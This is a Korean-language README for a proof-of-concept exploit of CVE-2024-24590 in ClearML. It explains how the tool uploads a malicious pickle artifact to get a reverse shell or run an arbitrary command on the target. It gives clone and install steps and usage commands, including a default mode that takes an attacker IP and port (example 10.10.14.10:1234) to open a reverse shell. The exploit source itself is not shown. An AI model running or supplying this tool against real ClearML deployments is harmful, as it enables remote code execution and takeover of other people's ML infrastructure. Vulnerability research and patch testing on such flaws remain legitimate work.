ClearML 익스플로잇 스크립트

이 저장소에는 CVE-2024-24590에 대한 Python 익스플로잇 스크립트가 포함되어 있습니다. 이 스크립트는 악성 pickle 파일을 ClearML에 업로드하여 대상 머신에서 리버스 셸 또는 사용자 지정 명령을 실행하도록 설계되었습니다.

기능

• 악성 pickle 아티팩트를 ClearML에 업로드합니다.
• 대상 머신에서 리버스 셸 또는 사용자 지정 명령을 실행합니다.
• 사용자 지정 프로젝트 및 작업 이름을 지원합니다.
• 작업에 태그를 설정할 수 있습니다.

사용법

사전 요구 사항

• Python 3.x
• ClearML SDK
• argparse (일반적으로 Python에 포함됨)

설치

1. 저장소를 클론합니다:

   root@kitploit:~

   git clone https://github.com/diegogarciayala/CVE-2024-24590-ClearML-RCE-CMD-POC.git
   cd CVE-2024-24590-ClearML-RCE-CMD-POC
   

2. ClearML SDK를 설치합니다:

   root@kitploit:~

   pip install clearml
   clearml-init
   

스크립트 실행

이 스크립트는 default 및 cmd 두 가지 작동 모드를 지원합니다.

기본 모드

이 모드에서는 리버스 셸을 설정하기 위해 공격자의 IP와 포트를 제공해야 합니다.

python3 exploit.py default <project_name> <task_name> <attacker_ip> <attacker_port>

CMD 모드

이 모드에서는 실행할 사용자 지정 명령을 제공할 수 있습니다.

python3 exploit.py cmd <project_name> <task_name> --cmd "<your_command>"

예시

python3 exploit.py default "Black Swan" "pwned4" "10.10.14.10" "1234"

python3 exploit.py cmd "Black Swan" "pwned4" --cmd "touch /tmp/shell.sh"

whoami

• HackTheBox: sl4sh1t0
• Telegram: sl4sh1t0
• X (Twitter): @diegogarciayala

크레딧

https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/